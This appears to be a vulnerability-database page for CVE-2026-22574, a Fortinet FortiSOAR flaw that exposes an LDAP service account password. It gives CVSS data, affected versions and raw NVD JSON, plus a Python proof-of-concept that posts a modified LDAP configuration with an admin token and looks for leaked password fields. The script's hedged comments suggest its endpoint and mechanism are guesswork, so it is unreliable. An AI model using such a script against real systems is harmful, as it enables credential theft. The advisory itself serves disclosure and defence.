Security Vulnerability Report
中文
CVE-2026-22574 CVSS 4.1 MEDIUM

CVE-2026-22574

Published: 2026-04-14 16:16:37
Last Modified: 2026-05-06 15:51:02

Description

A storing passwords in a recoverable format vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.4, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.4, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated remote attacker to retrieve Service account password via server address modification in LDAP configuration.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE
FortiSOAR PaaS 7.3 所有版本
FortiSOAR PaaS 7.4 所有版本
FortiSOAR PaaS 7.5.0 - 7.5.2
FortiSOAR PaaS 7.6.0 - 7.6.4
FortiSOAR on-premise 7.3 所有版本
FortiSOAR on-premise 7.4 所有版本
FortiSOAR on-premise 7.5.0 - 7.5.2
FortiSOAR on-premise 7.6.0 - 7.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-22574: Fortinet FortiSOAR Password Recovery # Pre-condition: Attacker has valid high-privileged session cookie/token. target_host = "https://<fortisoar-host>" ldap_config_endpoint = "/api/ldap/configuration" # Headers simulating an authenticated admin headers = { "Authorization": "Bearer <VALID_ADMIN_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # Payload to modify LDAP server address # This action triggers the vulnerability, causing the password to be returned in a recoverable format. payload = { "name": "LDAP_Config", "server_address": "192.168.1.100", # Modified address to trigger save/response "port": 389, "admin_dn": "cn=admin,dc=example,dc=com" # The service account password might be returned in the response or stored insecurely } try: response = requests.post(target_host + ldap_config_endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: data = response.json() # Analyze response for leaked credentials if "service_password" in data or "password" in data: print("[+] Vulnerability confirmed! Password leaked:") print(data.get("service_password")) else: print("[!] Request successful, check response body manually for hidden password fields.") print(data) else: print(f"[-] Failed to exploit. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22574", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:36.760", "lastModified": "2026-05-06T15:51:01.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A storing passwords in a recoverable format vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.4, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.4, FortiSOAR on-premise 7.5.0 through 7.5.2, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated remote attacker to retrieve Service account password via server address modification in LDAP configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-257"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.3", "matchCriteriaId": "CD42D7DF-B095-44E1-B7E1-D203678DF740"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.5", "matchCriteriaId": "B8E1DFBC-0D1B-419C-89A5-D2A59B7485F6"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}